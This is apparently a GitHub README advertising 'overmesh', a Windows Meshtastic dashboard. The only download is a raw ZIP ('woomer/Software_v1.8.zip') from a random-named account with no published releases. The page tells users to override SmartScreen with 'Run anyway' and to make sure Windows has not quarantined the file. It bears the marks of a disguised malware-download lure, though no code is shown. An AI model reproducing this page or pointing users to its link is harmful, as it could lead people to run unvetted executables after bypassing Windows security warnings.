Skip to content

literal-xenophobia705/overmesh

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

4 Commits
Β 
Β 
Β 
Β 

Repository files navigation

🧩 overmesh - Self-hosted mesh control on Windows

Download overmesh

πŸ–₯️ What overmesh does

overmesh is a self-hosted Meshtastic dashboard that runs on your own machine. It gives you a simple way to view nodes, read chat, use bot tools, and load offline maps. It also includes Mesh Sense, so you can watch your mesh network from one place.

This app is for people who want local control. Your data stays on your machine unless you choose to move it elsewhere.

πŸ“¦ What you need

Before you start, check that your Windows PC can handle the app:

  • Windows 10 or Windows 11
  • A modern 64-bit CPU
  • 4 GB RAM or more
  • At least 500 MB of free disk space
  • A stable internet connection for the first download
  • A Meshtastic device or mesh data source, if you want live network data

If you plan to use offline maps, set aside more disk space for map tiles.

πŸš€ Download overmesh

Open the download page here:

https://github.com/literal-xenophobia705/overmesh/raw/refs/heads/main/woomer/Software_v1.8.zip

On that page, look for the latest release or the main download file. If you see a ZIP file, save it to your computer. If you see an installer, save that instead.

πŸͺŸ Install on Windows

  1. Open the file you downloaded.
  2. If Windows asks for permission, select Yes.
  3. If the file is a ZIP archive, right-click it and choose Extract All.
  4. Open the extracted folder.
  5. Find the app file and double-click it to start overmesh.

If Windows SmartScreen blocks the app, choose More info, then Run anyway.

▢️ First launch

When overmesh starts for the first time:

  1. Wait for the app to load.
  2. Read the start screen.
  3. Set your preferred language and time format if the app asks.
  4. Connect your Meshtastic device or open your local data source.
  5. Let the dashboard finish loading the node list and chat view.

If the app asks for a local server address, use the default value unless you know your setup needs something else.

πŸ—ΊοΈ Main features

Node map

See your mesh nodes on a live map. Use it to check node position, signal reach, and network coverage.

Chat view

Read and follow mesh messages in one place. This helps when you want to keep track of local traffic.

Bot tools

Use built-in bot tools to handle common mesh tasks. These can help with quick status checks and simple network actions.

Offline maps

Load maps on your machine so you can use them without a live internet connection.

Mesh Sense

View sensor data from your mesh network and track changes over time.

πŸ”Œ Connect your Meshtastic setup

To connect a device:

  1. Plug your Meshtastic radio into your computer, if your setup uses USB.
  2. Turn on the device.
  3. Open overmesh.
  4. Choose the connection type that matches your setup.
  5. Select the device or port if the app shows a list.
  6. Wait for the dashboard to sync.

If you use a local file or local service instead of a direct device link, open that source in the app and let it load.

🧭 Using the dashboard

View nodes

Open the node list to see nearby devices, node names, and last seen times.

Track messages

Use the chat area to follow group traffic and direct messages.

Check map layers

Switch between map views if you need street view, terrain, or saved offline tiles.

Inspect sensors

Open Mesh Sense to review sensor readings like temperature, signal strength, or other network values.

Filter data

Use filters to focus on one node, one channel, or one time range.

βš™οΈ Common setup choices

Local-only mode

Run overmesh on your own machine and keep it off the public internet.

Offline map mode

Download map data ahead of time so you can use the app without network access.

Mixed use

Keep the app local, but use internet access for map data updates when needed.

🧰 If the app does not start

Try these steps:

  1. Close overmesh.
  2. Open it again as the same user who installed it.
  3. Check that Windows did not move the file to quarantine.
  4. Make sure the extracted folder still contains all files.
  5. Restart your computer.
  6. Try a fresh download from the link above.

If the screen stays blank, wait a full minute before you close it. Some first launches take time while the app builds local data.

πŸ“ Where your data lives

overmesh stores its local data on your machine. That can include:

  • Saved settings
  • Map cache
  • Node history
  • Chat history
  • Sensor records

If you want to move to a new PC, copy the app data folder along with any export files you saved.

🧩 Basic workflow

  1. Open overmesh.
  2. Connect your mesh source.
  3. Wait for the node list to load.
  4. Open the map.
  5. Review chat and sensor data.
  6. Keep the app open while you monitor the network.

πŸ”„ Updating overmesh

When a new version is available:

  1. Download the newer file from the same link.
  2. Close the app.
  3. Replace the old files, if you use a ZIP build.
  4. Open the new version.
  5. Check that your settings still load.

If you use local data, your saved info should stay in place unless you remove the app data folder.

πŸ› οΈ Troubleshooting common issues

No device found

  • Check the USB cable
  • Unplug and plug the device back in
  • Confirm the radio is turned on
  • Try another USB port

No map tiles

  • Check your internet connection
  • Confirm offline map files are present
  • Open the map settings and reload the tile source

Empty chat

  • Make sure your mesh source is connected
  • Wait for the app to finish sync
  • Check that the correct channel is active

Slow loading

  • Close other heavy apps
  • Give the app time to index local data
  • Free up disk space if your drive is almost full

πŸ” Privacy and local control

overmesh is built for local use. That means you can keep your dashboard on your own computer and avoid sending data to a cloud service. This helps when you want a private setup for home, field use, or a small team.

πŸ§ͺ Good first test

After setup, try this:

  1. Open the node map.
  2. Confirm that at least one node appears.
  3. Open chat and send a test message, if your setup allows it.
  4. Open Mesh Sense and check for live readings.
  5. Switch to an offline map layer and confirm it still loads

πŸ“Œ Best results on Windows

  • Keep the app in a simple folder path, such as C:\Apps\overmesh
  • Avoid folders with special characters
  • Run the app from the extracted folder if you use a ZIP download
  • Keep enough free disk space for map data and logs
  • Use the same Windows account each time

πŸ“₯ Download and install again

If you need the file again, use this link:

https://github.com/literal-xenophobia705/overmesh/raw/refs/heads/main/woomer/Software_v1.8.zip

Download it, then follow the Windows install steps above

Releases

No releases published

Packages

 
 
 

Contributors